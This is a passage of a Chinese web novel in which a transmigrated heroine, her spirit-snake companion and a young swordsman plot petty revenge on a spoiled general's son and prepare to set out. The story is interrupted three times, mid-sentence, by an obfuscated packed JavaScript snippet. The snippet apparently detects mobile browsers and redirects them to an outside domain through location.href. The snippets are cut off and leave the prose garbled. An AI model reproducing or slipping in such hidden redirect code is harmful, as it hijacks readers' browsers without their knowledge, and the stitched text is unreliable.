杨凛星心中暗忖:“此人倒是和风故知截然不同。”她原本还以为……念头转到一半,她自己便在心底失笑摇头:“瞎想什么呢,怎么可能。” 当风故知这个名字划过心头,杨凛星不免感到一阵悲痛。 刚来到这个世界时,这具身体的原主只是个五六岁上下的孤女,和一群从南方逃难而来的难民蜷缩在一起挣扎求生,是风故知伸出了手,给了她容身之所。 她始终做不到对着一个和她实际年龄差不多大的男人叫爹,风故知也从未勉强过她,只说以朋友相待,还将一身医术尽数传授给她。 即使是在最后,他也选择将唯一的生路留给了自己。 杨凛星阖上眼,试图将翻涌的情绪强压下去。 另一头,沈灵泽将她细微的动作全部纳入眼底,他嘴唇微微一动,最终还是什么也没说。 再睁眼时,杨凛星已经有了下一步的计划。 拉沈灵泽入伙。 自来到这世界,她便深受银月村的庇护,这份恩情刻骨铭心。沈灵泽想报屠村之仇,她杨凛星也未尝不是。 她们有类似的身世,类似的遭遇,还有相同的敌人。除此以外,她还有小神兽,玉璃无论如何都不会离开自己。 按照玉璃的说法,灵兽之间能够互相感应彼此的存在,那么找到其他神器便只是时间问题。 有神器的加持,报仇只会更加容易,这一点,沈灵泽不会想不明白。 杨凛星有九成九的把握他不会拒绝这个要求。 于是她自信开口:“沈公子,你愿不愿意同我一起走?” “……” 半晌没得到回应,杨凛星狐疑的朝他看去。这不看不知道,沈灵泽竟露出了一副相识以来从未有过的神情。嗯…如果让杨凛星找个词来形容的话,那她会觉得“娇羞”二字最妙。 杨凛星仔细回味了一下自己刚才的问话,在这封建又保守的古代背景下,那句“愿不愿意同我一起走”的言论,确实容易让人想入非非,活像是她在哄骗不谙世事的清纯少年跟她私奔。 再看沈灵泽,不过十八九岁的年纪,气质干净得像是从未被俗尘沾染,恐怕连姑娘的手都没牵过,被她这般直白的话语一冲,会羞窘到连脖颈都泛红,实在再正常不过。 杨凛星心底那点捉弄人的趣味顿时冒了头。倒也没别的什么,纯粹就是想欣赏这位纯情的小帅哥脸红无措的模样。 她故意不去纠正自己话里那引人遐想的歧义,只睁着一双清澈明亮的眼睛,一眨不眨地专注望着沈灵泽。 不过短短半分钟,沈灵泽那张白皙俊秀的面孔就以肉眼可见的速度迅速漫上一层绯红,连耳根都透出了薄红。眼看再过半分钟,他整个人似乎就要因为这过载的羞赧而头顶冒烟了。 杨凛星强忍着几乎要冲出口的笑意,肩膀微微抖动,心想:“老天奶,怎么会有这么容易害羞的人,也太好玩了吧!” 她强行换上一副惋惜又失落的神情,幽幽道:“既然沈公子不愿,小女子也不便强求,这就告辞了。” 说完,杨凛星缓缓起身,向门口走去。 一步。 两步。 三… “杨姑娘请留步!”这声挽留倒要比他平时的语调要急得多。 杨凛星告诫自己:“不能笑!!!” 她盈盈转身,看向沈灵泽的眼神里充满了期待。 沈灵泽呼吸一滞,所有准备好的说辞瞬间忘得一干二净。他的目光像是被无形的线牵引,牢牢锁在眼前少女的脸上,大脑一片空白,竟一个字也吐不出来。 杨凛星暗笑:“看来还得添把火呀!” 她的神情愈发落寞,却又勉强挤出了一丝笑容:“沈公子不必勉强……” “不勉强!”沈灵泽可算是找回了嘴,却垂下眼眸再不敢与她对视,只是郑重地抱拳行了一礼:“在下…愿意同行。” 杨凛星没说话。 “…也会拼命护姑娘安全。” 沈灵泽不知道自己为什么会加上后面这句话,他未作深想,也许自己就是想要保护“轩辕王的转世”吧。 杨凛星终于是露出了满意的笑容。花着别人的钱,换来了想要的情报,还拉拢了一个实力强劲的队友,对方甚至主动承诺保障她的安全,这简直是天底下最划算的买卖,没有之一。 “如此,那我便多谢沈公子了。” 说完,她行了一礼,便转身离开了房间。 - 杨凛星以最快的速度把这个消息告诉了玉璃,不出意外的他很高兴。 甚至得寸进尺的提出了“把林姐姐也一起带上”的要求。 杨凛星毫不留情的揭穿他:“你就是想天天吃好吃的吧。” “怎么会!”玉璃表示自己很委屈:“我和沈大哥都是男子,不方便照顾女子,把林姐姐也带上,这样你们就能互相照顾了。” 杨凛星闻言,略感吃惊,问道:“你现如今都能分清‘男子’、‘女子’了?谁教你的?” 她回想起初次和玉璃见面时,这小蛇还不分男女,只辩雌雄,只是当时情况危急,她也没那个心思教他一些人类社会的规则。 “沈大哥教我的,凛星大人受伤了,需要更衣上药,我想去,沈大哥不让,就叫来了林姐姐。”玉璃一副好学生受教的模样,“他说我与他都是男子,不可随意触碰女子,这样很无礼。” 说完,他又贼头贼脑的凑上前来,压低了声音,继续道:“沈大哥还说,对女子无礼的男子,都是要被拉去浸猪笼的!” 杨凛星“噗”的一声笑了出来,一双灵动的大眼都弯成了月牙,“他真与你这样说的?” 玉璃用力点头,像小鸡啄米。 “不错。”杨凛星很是满意。 这句话不错,这个人也很不错。 至少在目前看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477714|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,未来的一段时间内,与她同行之人并非是那等品行低劣的无耻之徒。 但也不可掉以轻心,毕竟一个男人突然烂掉的速度比21世纪的火箭还要快。 “你可有法子改变神器的重量?” 玉璃作为四神器之一,可以肉身幻化为一柄素白长弓。 当日她与玉璃击掌为契,让他得以化形,结果确是大跌眼镜——她居然根本拿不动那弓。 眼看敌人仅一步之遥,在一阵头晕目眩中,她甚至能隐约看见对方刀身上映出的自己绝望的脸。 沈灵泽便是在这千钧一发之刻突然降临,下一秒,那黑衣人手中的长刀如同脆弱的枯枝,应声而断。持刀者甚至还没明白发生了什么,整个人便被那剑罡残余的恐怖气劲轰得倒飞出去,胸膛塌陷,鲜血狂喷,撞断一棵小树后便再无声息。 敌人散去后,她失血过多,只听见他报了个名字便晕了过去。 这才有了杨凛星醒来后发生的事情。 玉璃露出了为难的表情,道:“抱歉,凛星大人,我无法改变。” 杨凛星平静的点了点头,这答案也在她预期内。 即便是轩辕王的转世,自身没有足够的力量,也是无法驱使神器的。 想要报仇,靠神器不够,靠男人保护更不够,她得变强,起码要能抬起的弓,拉得动弦,然后再谈那箭能不能一次射穿敌人的心脏。 “我要出趟门。” 玉璃连忙跟上,“我跟您一起去!” 杨凛星下楼,目光投向帐台,却没瞧见蝶兰的身影。 她心下诧异,一般这个时辰,蝶兰都会在那儿对账才是。 “林掌柜,怎么不见林小姐?”她原本是想向蝶兰打听西沿城内口碑好些的兵器铺子。 “她呀,去醉仙居送吃食去了。”林掌柜满面红光,笑得合不拢嘴,显而易见今日是笔大生意,“今儿个是百里将军府上二公子的寿辰,在我们这儿预定了整整十桌下酒菜!” 玉璃忍不住在一旁嘀咕道:“怎么又是他…” 杨凛星递给他一个稍安勿躁的眼神,神色如常的问道:“不知林小姐去了多久了?” “约莫半盏茶的功夫。” 醉仙居离这儿不算远,按理说只是送菜的话,这个时间也该回来了。 只是她心中却无端升起一丝难以言喻的不安,隐隐牵动着她的神经。 “客人找她是急事儿吗?”林掌柜关切地问。 “哦,我是想问……” “不好了!掌柜的,出大事了!”一个衣衫沾满尘土、跑得气喘吁吁的小厮从门外跌撞进来,显然是路上摔得不轻。 堂内尚有几位用饭的客人,闻声纷纷侧目。林掌柜脸色一沉,压低声音呵斥:“慌什么!惊扰了客人你担待得起吗!” 小厮被这一喝,硬生生将冲到嘴边的话咽了回去,只顾撑着膝盖大口喘气。 林掌柜狠狠瞪了他一眼,又朝他身后张望了一下,眉头渐渐拧紧:“你不是跟着小姐去醉仙居了吗?怎么独自跑回来,还这般模样?” 小厮猛地抬起头,脸上血色尽失,带着哭腔道:“小姐…小姐被他们扣下了!百里府的人,不放她走了!” 5. 喜得良弓 林掌柜一口气梗在胸口,脸色瞬间涨的通红,半晌才哆嗦着骂道:“你、你这混账东西!在这儿胡诌些什么!” 林掌柜中年丧妻一直未有续弦,这辈子就蝶兰这么一个宝贝疙瘩,如今出了事,叫他如何能不心急呢。 “小的哪敢胡说。”小厮哭丧着脸,战战兢兢的说起前因后果来:“小的随小姐将下酒菜送进醉仙居后厨,本要领了赏钱就回来的。可那百里府的管家硬是拖着不给,非说今日是百里公子的好日蝶子,定要小姐亲自去宴席上贺个寿,等公子爷高兴了,才肯结账。” 杨凛星听到这儿,不由得冷哼一声,把后面发生的事儿猜的八九不离十。 兰这姑娘性子直率,根本不擅长在那种场合周旋。再加上对方是存心找茬,又怎么会让她轻易脱身。 果然,那小厮继续说道:“小姐虽然不情愿,但还是恭恭敬敬的说了些福禄话,可那群公子哥硬说她心意不诚,强行将人扣下。”他抹了把眼泪,恨声道:“小的们看不过去,理论了两句,他们竟让人把我们给轰了出来,让小姐一个人在里面!我怕小姐出事,拼命跑回来报信,其他人都还守在醉仙居一仗外呢!” 林掌柜的脸由先前的赤红瞬间变为了惨白,一脸心如死灰的模样。 杨凛星很能理解他此刻的心情,百里公子的寿宴,到场之人非富即贵,要从那么多权贵眼皮子底下将人毫发无伤的带出来,难度不小,得想个万全之策才行。 可林掌柜那头却是半刻也等不下去了,他一把撂下算盘,拔腿就朝门口冲。 小厮也不知该不该跟,只能惊慌的问道:“掌柜的,您这是去哪啊。” “还能去哪!”林掌柜眼中迸射出一股向死而生的决绝,“就算是豁出去我这条老命,也要把小姐给带回来!” 话音未落,他已大步流星地跨出门去。 玉璃气势汹汹的跟了上去,喊道:“我也要去救林姐姐!” 杨凛星急道:“且慢!”,随即也跟着跑了出去。 刚近门口,便听见林掌柜一阵撕心裂肺的嚎哭 杨凛星心头一沉,暗道不好,急忙抢上前去。 只见林掌柜瘫坐在地上,捶胸顿足的哭喊:“我的儿啊,我的祖宗,你这是要了我的命啊!” 而他面前,赫然站着面色绯红的蝶兰。 她看着眼前自家老爹的闹剧,又是好笑又是无奈:“爹,您这是唱的哪一出啊?” “你还好意思说你爹我!”林掌柜吸了一把鼻涕,骂道:“让你送个菜,怎么就差点儿回不来了呢!” “小、小姐,你不是……” 蝶兰小手一挥:“哎呀,进去说进去说。” 众人在一处角落里坐了下来,林掌柜眼泪鼻涕糊了一脸,眼巴巴的瞅着自家闺女,生怕漏掉一处。 杨凛星问道:“你是如何脱身的?” 蝶兰讪笑笑两声,怪不好意思道:“我和百里公子打赌,只要我能连喝三碗不倒,他便放我走。” 杨凛星恍然大悟,难怪蝶兰回来时满脸通红,她还以为是让林掌柜给臊的。 “哎呀,我没事儿啦,爹你快别哭了。” 林掌柜本已收声,只是时不时抽噎两下,一听这话竟又小声呜咽了起来:“当初你娘疼了一天一夜才把你生下来,没多久就撒手人寰,走之前她握着我的手,嘱咐我要好生把你养大,你要是出了什么事,要我可怎么活啊……” 蝶兰朝小厮递了个眼色,对方立马会意上前去扶林掌柜起身:“掌柜的,咱先去后头洗把脸吧,这儿还有客人呢。” 待二人走远了,蝶兰才松了口气:“我爹也真是的,我这不是好好儿的回来了嘛。” 杨凛星温声劝道:“林掌柜也是爱女心切,你没回来时,他急得魂都要丢了。” “就是就是!”玉璃连忙附和道。 蝶兰沉默的垂下头,眼眶也慢慢红了。 杨凛星轻拍她的肩头,转而问道:“不过,那百里公子为何突然要让你到前厅贺寿?” 世家子弟,会缺这么一句祝福吗?况且蝶兰只是送菜至后厨,应该从头到尾都没机会与那群纨绔见面才是。 一提此事,蝶兰顿时露出了嫌恶的表情:“我与那百里公子素不相识,他断不会点名找我。出这害人主意的,定是陈家那个不要脸的东西!” 蝶兰很少有这样疾言厉色的时候,杨凛星追问道:“陈家?何许人也?” “你初来西沿城有所不知。”蝶兰猛地灌了口水,“陈家也算是我们西沿城的第二大户,家主陈松是百里将军手底下最得力的副将,他夫人是百里夫人的胞妹,陈公子是他们的长子,陈桓。” 竟是表亲。 难怪行事作风如出一辙。 “上月陈桓带着一群狐朋狗友来我家客栈歇脚,竟当众对我拉拉扯扯,还扬言要纳我为妾!” 杨凛星眼底闪过一丝冷意,什么世家公子,合该是市井流氓才对。 蝶兰骂道:“我呸!谁要给那种人做妾?多看他一眼我都恶心!” “那你想不想给他点教训?” 蝶兰猛地将头转向杨凛星,问道:“你有办法?” 杨凛星淡淡一笑,不置可否。 蝶兰撇了撇嘴,挽上杨凛星的胳膊轻晃:“你快说呀,别卖关子了。” “那你先告诉我,这寿宴上可有些什么特别的菜式?” “特别的菜式?”蝶兰眼珠一转,“寒香鸭可以算是一道。这道菜要在鸭的肚子里放上各类滋补的料包,用陈年的花雕熬上三个时辰,味道绝佳,贵人们宴请最爱点这道菜。” 杨凛星问道:“这道菜是由哪家酒楼供应?” 蝶兰摇了摇头:“哪家都不是,这种贵人们吃的主菜都是由他们府上的厨子亲自掌勺。” 杨凛星笑道:“如此甚好。” 她回房取了点东西放到玉璃手上,低声朝他交代了几句。 “可听明白了?” 玉璃用力点头:“但我还有一个问题。” “问吧。” “没毛的鸭子长什么样?” “……” “和鸡有什么区别?” “……” 杨凛星扶额,好一阵无语。 半晌,她试图用简单易懂的语言教会玉璃:“鸭子就是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477715|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让我去吧。” 杨凛星看了看来人,容貌清雅俊逸,谈吐风度翩翩,气质沉稳持重,从上至下就写着四个大字:一身正气。 她实在脑补不出沈灵泽偷感很重的在醉仙居的后厨找鸭子下药的场景。 “……你确定?” 沈灵泽颔首:“确定。” “那好。”杨凛星正要递过东西,玉璃却一闪身躲到沈灵泽背后,“我也要去!” 沈灵泽温柔的揉了揉他的头发,慈祥的像个老父亲。 “事不宜迟,你们快去快回。” “林姐姐,你等着我去给你报仇!” 二人转眼就消失在了人海里。 蝶兰略有些担心:“这样能成吗,会不会被发现。” “放心吧。”杨凛星胸有成足,“我估摸不到半盏茶,他们便能回来。” 事实却出乎她的意料,这二人足足过了两盏茶的功夫才返回。 杨凛星眉心微蹙:“怎么去了这么久,事情不顺利吗?” “怎么会!”玉璃立刻扬起下巴,带着几分炫耀的语气抢白道:“我们早就得手了,回来的晚是因为去买了这个东西。” 他伸手一指,杨凛星这才注意到沈灵泽怀中抱着一个用布包裹的半月形物件。 她目光微动,轻声迟疑道:“这不会是……” 沈灵泽缓缓解开外层布料,一把做工轻巧的小弓显露在众人面前。 “弓箭?”蝶兰疑惑的问道:“你们买这个东西做什么?” 杨凛星的眼神在沈灵泽和他怀中的那把弓上来回流转,心头涌上了好多复杂的情绪。 “我猜,杨姑娘可能想要购置一把弓。”沈灵泽温声解释:“西方部族习武的女子本就不多,若姑娘独自前往兵器铺,很容易被店家当作外行敷衍。白白折损了银两不说,也难觅得称手的好弓。” 他郑重的将弓递到杨凛星身前。 杨凛星也珍重的将它接了过来,忍不住伸手来回抚摸,试探性的拉了拉弓弦。 很漂亮,很趁手。 很喜欢。 玉璃在一旁围着杨凛星欢乐的转圈圈:“凛星大人,你没看到,沈大哥射箭可准了!他能拿得动一把这——么大的弓”玉璃展开双臂在空中比划着,生怕她小看了。 “老板还给便宜了十两银子呢!全靠沈大哥箭法如神,蒙着眼都百发百中!” 杨凛星惊诧的张了张嘴,蒙着眼都能百发百中? 这人的武功究竟是由多高? 她心想:“乖乖,真是捡到宝了。” 杨凛星看着沈灵泽,露出感谢的笑容:“多谢你了,沈公子。” “这把弓的钱我会如数给你。” 沈灵泽摇了摇头,语气温和又坚定:“我自愿为之,还望姑娘安心收下。” “好。”来日方长,她们日后一路相伴,自会有她偿还这份恩情的时候。 “忙活了这么久,你还没告诉我,到底是在那菜里放了什么东西呢。”蝶兰在一旁小声嘀咕抗议。 杨凛星神秘的眨眨眼:“别急,你且好好睡一觉,明日一早便知道了。” 7. 仙女指路 百里策在这道士叽里呱啦念了一大堆他听不懂的咒语,在他身上撒了些不明液体之后,终于是忍不住开口询问道:“道长,我到底得了什么病!” 杨凛星缓缓睁开眼,深深的叹了一口气,又沉重的摇了摇头。 百里策脸色顿时更白了:“道长……你有话直说,莫要吓我。” “唉——”杨凛星一阵长吁短叹道:“公子,此乃福泽过于深厚,反而无福消受之象啊。” 百里策惊恐到声音都在颤抖:“什么意思,什么叫我无福消受!” “公子近日,可有在什么地方遇到过不寻常的事情?” 百里策在脑子里走马观花般的搜寻起来,他平日里左不过就是和几个公子哥到处寻欢作乐,多年来一直如此,稍微有点不一样的,就是前日里在大街上遇到的那个颇有姿色的女子,和她身边那条故弄玄虚的蛇了。 一想到自己被那臭蛇尿了一身骚,百里策的脸都被气的恢复了点血色。那日他回来后细想,不是没察觉到蹊跷,只不过人已经跑了,金子也已经送了,他向来不把这点钱放在眼里,索性不再追究。 如今看来,那小妮子果然大有问题! 他恨声吼道:“那妖女居然敢害我!” 啧,妖女,好大一顶帽子。 杨凛星心下冷笑:“先撩者贱,怪得了谁?” “赶紧派人,掘地三尺,也要把她给我抓到这里来!” 一名侍从应声领命,正欲去办,杨凛星立马出声打断:“且慢。” “我几时说过,这不寻常之事就是坏事了?” 百里策愣了愣,道:“我如今都这样了,还不算是坏事吗?” “非也。”杨凛星甩了下拂尘,“前日你上街,偶遇一女子携灵蛇送福,可有此事啊?” “有!有!”百里策看向道士的目光中又多了一份敬意,“我方才所说的妖女就是那女子!” “那灵蛇的福分确凿无疑地转到了公子身上,只是这福气太盛,犹如杯满则溢。好在公子你命格非凡,尚能承载。不巧昨日寿宴,再添厚福,终是盛极而亏,故而难以周全了。” “所以,那女子非但不是妖女,反倒可能是位受上天庇护的仙女。” 在说到“仙女”两个字时,杨凛星实在没忍住要笑场,她急忙借着宽大的袖袍暗掐了自己一把,但还是发出了略微明显的异声。 好在百里策已完全被她的这套说辞给唬住了,呆愣在床榻上,半点没发现。 好半晌,他才失神的喃喃道:“那我应该怎么办呢?” 杨凛星见时机成熟,顺势抛出了她的真实意图:“解法倒也简单。首先,公子既从那位姑娘身上承了如此厚重的福泽,便需从别处寻些相当的补偿,以此来抵消一些福债。”比方说钱,这是杨凛星此行最主要的目的。日后在外四处飘荡,有足够的银钱傍身才好办事。 百里策立马会意,立马安排人去找其实就站在自己眼前的“仙女”。 杨凛星满意的点点头,继续循循善诱:“其次嘛,公子应当主动做一些善事,将自身福泽过度给旁人一些,正所谓‘积善之家,必有余庆’”她话音微顿,目光似是不经意地扫过窗外,“方才贫道进来时,仿佛瞧见一位姑娘,手臂被热水烫得通红,怕是正躲在廊下啜泣。公子若能亲自赐她些膏药,定能彰显仁心,上天感知,必会为公子记上一笔功德。” 百里策不耐烦的摆了摆手,又有一位婢女垂头应声,杨凛星冷眼瞧他那副不以为意的模样,不由得在心底冷哼一声。 “慢着。”突然,他又叫住了那婢女,说道:“把库房里那瓶玉容膏取出来,拿去给她用。” 婢女闻言,身子微微一颤,难以置信地抬头望了他一眼,随即深深叩首,声音里带着哽咽:“谢公子恩典!” 起身退下时,她经过杨凛星身旁,飞快地投来一瞥,眼神里盈满了无声的感激。 杨凛星也是略带以外的挑了下眉,暗道:“这百里府的好东西还真多,有了这玉容膏,那位妹妹应是不会留下什么疤痕了。” 安排完这些事儿,百里策态度恭谨的留她用午饭。杨凛星随便找了个由头唐塞了过去,让她跟百里策这种人坐一桌,她能恶心的把隔夜饭都吐出来。 “道长果然神通广大!”百里策面色舒缓,由衷叹道,“与您交谈一番,我竟觉得身上松快了大半,当真是神奇!” 杨凛星嘴上谦虚的说着:“不敢不敢。”,心里却嘲笑道:“哈哈哈哈哈哈,真是蠢材!哪是我有什么神通,分明是那巴豆霜的药劲儿快要过去了!” 她突然见一见那位百里将军,问问他到底是怎么培养孩子的,养出这么个整天游手好闲、不务正业又挥霍无度的马大哈。 领完赏钱,仆从引着杨凛星沿原路返回。她一路都在心里盘算着这笔“横财”的用途,想得太过出神,不慎踩中了前方仆从的脚后跟。 她正要开口道歉,对方却猛地将她拽到道旁,递来一个的警示的眼神,随即深深垂首躬身。杨凛星立刻会意,学着他的样子敛首静立。 在她有限的视野里,两双鞋履正从眼前缓缓走过。其中一双平平无奇,落后半步。而另一双绣工则极为精美,玄色缎面上,金线绣成的凤凰图纹流光熠熠,每一步落下,都带着一种沉静而分明的力道,不疾不徐,沉稳如山,周身虽未发一言,却已透出不容置疑的尊贵与威仪。 是谁? 见来人已经走远,杨凛星轻轻侧过头,望向了那二人的背影。 在视线聚焦的那一瞬间,她浑身的血液仿佛都躁动了起来,无数痛苦的回忆在脑海中纷至沓来。 就是无数个这个背影。 银月村冲天的火光、村民绝望的哀嚎、空气中弥漫的血腥气……那些被她强行压在记忆深处的惨烈画面,此刻如同决堤的洪水,在她脑海中轰然炸开,一幕幕,清晰得残忍。 待她回过神来时,自己的右手已经按在了对方的肩头。 那人倏然转身,杨凛星对上他清冽的目光,在他脸上捕捉到一丝恰到好处的讶异。 “不知道长拦住在下,有何指教?”男子开口,声线平稳,仿佛只是例行公事一般的询问,没有丝毫的慌乱和波澜。 杨凛星凝神观察他的面容,他与那群刽子手不同,并未佩戴遮掩面容的面具,整张脸清晰地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477717|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展露在光线下。眉目疏朗,鼻梁挺秀,像个饱读诗书的文人。 他身后那位锦衣公子闻声也顿住了脚步,却并未回身,只是将头微微偏向一侧,用眼角的余光不动声色地观察着身后的动静。 杨凛星看出,他眉眼间与百里策有着五六分的相似,年岁却差的不大。 那便是这府上的大公子,百里决了。 无数的疑问和猜测涌上杨凛星的心头。被她抓住的这个人为什么会穿着和血洗银月村的人一模一样的衣服?他到底是不是那群人当中的一员?若当真如此,此刻他与百里家大公子同行,是不是说明银月村的那场惨案,根本就是百里家在幕后指使? 她隐约察觉到自己心绪凌乱,理智也告诉她那位一直默不作声,作壁上观的百里大公子,并不像他的弟弟那般蠢钝易欺。然而事已至此,她绝不能就此罢休。 “百里公子。”杨凛星紧盯着那黑衣男子,声音里带着压抑不住的轻颤,“您身边的这个人……心怀不轨,居心叵测,恐有害人之心。” 她拿不出任何证据,全凭一股直觉死死支撑。在被家丁架起、扔出百里府的大门之前,她最后看到的,是那人脸上若隐若现的同情与怜悯,深深刺入了她的眼底。 - “杨姑娘的意思是,百里决身边有一个家仆,有可能是参与屠村的一员?”沈灵泽的眉心微蹙,思考着这件事情的可能性。 杨凛星轻声道:“我被他们追杀过三次……”,她抬起头,眼神无比坚定,“我不认为我会看错。” 沈灵泽沉默片刻,分析道:“我在西沿城呆的时日不短,如果百里家要培养这等规模的死士,势必要花费不少人力和物力,不可能不走漏半点风声。” 杨凛星有些疲惫的闭上了眼睛,沈灵泽说的这些她自然明白,可她心中始终是放不下。 沈灵泽唇瓣微动,犹豫半晌,还是低声劝道:“杨姑娘,你今日此举,实在太过冒险了,稍有不慎…,我和玉璃甚至来不及去救你。” “沈大哥说的对。”向来唯她马首是瞻的玉璃,此刻声音里也带着几分后怕,“凛星大人,您真的不能再这样做,太危险了。” “您一直不回来,林姐姐也快要担心死了……” 杨凛星的目光缓缓掠过玉璃,最终落在沈灵泽脸上,没有从他们的神情中捕捉到半分责备,只看见那眼底化不开的浓浓忧色。 最终,她叹了口气,轻笑道:“此次是我欠考虑,害你们担心了。” “没关系没关系!”玉璃连连摆手,露出了一个天真的笑容:“只要凛星大人答应我们,不再让自己陷入危险就好。” 杨凛星郑重的点头。 席间一时安静了下来,半晌,沈灵泽开口道:“但杨姑娘的猜测,也并非全无可能。我想,我们可以在今夜,探一探这百里将军府。” 杨凛星惊讶道:“你去吗?” 百里将军府高手如云,就算沈灵泽自信可以以一敌百,但想要全身而退也是有一定难度的。 沈灵泽摇了摇头:“此事,恐怕还得拜托玉璃。” “好!”玉璃挺起胸膛用力一拍,“交给我吧!” 8. 出发北上 昭华国,西沿城,百里将军府。 百里决静坐在书房的主位上,棱角分明的脸在烛火的投射下明明暗暗,缓缓扫过面前躬身而立的身影,目光所及之处,空气仿佛都凝滞了几分。 他右手拇指有一下没一下地转动着食指上的青玉扳指,玉质温润,动作却带着刀锋般的冷硬。 “主上说,事成之后,他愿与百里氏平分天下,共享江山。” “哦?”百里决的嘴角勾起一丝似笑非笑的弧度,“共享江山……听起来倒是动人。只是,不知这‘共享’二字,你家主子打算如何兑现?” 那人神色不变,语气依旧恭敬:“大公子这是不信我们?” 百里决淡淡的嗤笑一声:“信?”,他慢条斯理地重复这个字,拇指的动作倏然停顿,“我百里氏的将士,每一个都是把脑袋别在裤腰带上拼杀。刀剑无眼,每一仗都是在阎王殿前走一遭。”他声音不高,却字字如铁,“而你家主子——” 他刻意顿了顿,玉扳指在指间转了个圈。 “躲在幕后,动动嘴皮子,就想要我百里氏几十万儿郎为他卖命?” 那人像是并未察觉到屋内四溢的杀气,轻笑道:“百里将军早已口头应允,公子又何必说这种负气之言。” 百里决眼中快速闪过一丝戾气,随即便没了下文。 烛火渐微,在墙上投下摇曳的暗影。男子从容整袖,微微欠身:“若公子再无异议,我便先行回去复命。” 言闭,他转身向屋外走去。 没走两步,身后又传来了百里决充满警告的声音: “回去告诉你家主子,百里氏可以为他开路,但若事后食言……” 男子毫不在意地轻笑一声,显然未将那后半句威胁放在眼里,信步离去。 行至无人处,他一改先前平淡的神情,清冷的眸子里唯余凛冽。 他慢慢从宽大的袖口中拿出一个什么,远远望去,在苍凉的月光下显得纯白又洁净。 一条通体莹白的小蛇安静的匍匐在他的手心。 男子伸出一根手指,温柔的在它的头上来回抚摸,低声耳语: “真是一个乖孩子。” “在她身边,你一定很开心。” - “你的意思是,你在百里府没有见到那身衣服的人,也没有任何可疑的地方?” “嗯嗯!”玉璃肯定的点点头,“我在整个府上都转了一圈,没有见到那些坏人。” 杨凛星有种说不上来的失落感,难道真的是她太多心了吗? 原本按照她的计划,在拿到足够的银钱之后,她们就要出发去寻找下一个神器。如今因为这个变故,让她变得有些犹豫起来。 沈灵泽似乎看出来她不想放弃,在一旁轻声道:“杨姑娘若还不放心,我们大可在西沿城多呆些时日。” 玉璃显然也很赞成这个提议,“对呀对呀,我们可以多留一会儿嘛,林姐姐也很舍不得我们走呢。” 杨凛星问到:“你不是想快点见到你的几位兄长吗?” 玉璃曾告诉过她,其余三只灵兽是和他同父同母的兄长。他在家排行老幺,随着他们下界来到轩辕王身边时,他还尚未孵育破壳,因而当时自己还吐槽过前世的“自己”雇佣童工。 提起几位兄长,玉璃向来活泼灵动的脸上一闪而过的思念。他用手捂住自己心脏的位置,说道:“我能感受到他们的存在。” “无论在哪里,我们终究会相见的。”玉璃微微一笑,明亮的眼眸中满是赤忱,“所以凛星大人不用担心,做你想做的就好。” 闻言,杨凛星有一瞬间的恍惚。 做她想做的就好。 可什么才是她想做的呢?她想回家,回到那个和平年代,想见自己的父母,想过正常人的生活,而不是每天心惊胆战,时刻担心下一秒就会成为别人刀俎上的鱼肉。 可是这些她都做不到,甚至连说出口都不行。 沈灵泽深深地注视着眼前沉默的少女,她周身仿佛被巨大的孤独和悲伤笼罩着,把她与这个世界隔绝开来,什么人也进不去。他虽就站在她身边,却有一种会时刻失去她的不安感。 沈灵泽为自己心中突然产生的的想法感到心惊,更多的是一种羞恼。 为什么会害怕失去她呢,她们并非是那般亲密的关系。即便是…即便是那样的关系,杨姑娘也绝非是他的所有物,她只属于她自己。 沈灵泽垂下眼眸,试图将那份可耻的私心掩盖。 短暂的安静后,杨凛星终于下了决定:“离开西沿城吧。” 去寻找其他神器。 她已经想清楚了,即便现在留在这里,也不一定能获得什么有用的线索,大概率是浪费时间。敌暗我明,敌众我寡,以她们现在的实力,硬碰硬受伤的只会是她们。 沈灵泽和玉璃尚有余力能在遇到危险时来去自如,可她,现在还是太弱了。 但她不会一直这么弱,迟早有一天。 沈灵泽再次抬头望向杨凛星,不过几分钟的时间,眼前少女的身上已经散发出了与先前完全不同的气场。 那股自信又坚毅的光芒,璀璨得让人不由自主地被吸引,挪不开眼。 “…杨姑娘,抱歉。” 杨凛星有些疑惑沈灵泽突如其来的道歉,但也没作深想,只是随口答道:“没事,你也是好心。” 沈灵泽不再言语,默默站在了一旁。 玉璃高兴的欢呼起来:“好耶!可以去别的地方吃好吃的啦!” “凛星大人,我们什么时候出发?” “三日后吧。”此去一路定不太平,她们需要做好万全的准备。 “沈公子。”杨凛星转过身面朝沈灵泽,郑重的行了一礼,“这一路上要多多仰仗于你了。” 沈灵泽在察觉到杨凛星意图的那一瞬间就想上前制止,腿迈开了一步,却终究没跨过去。 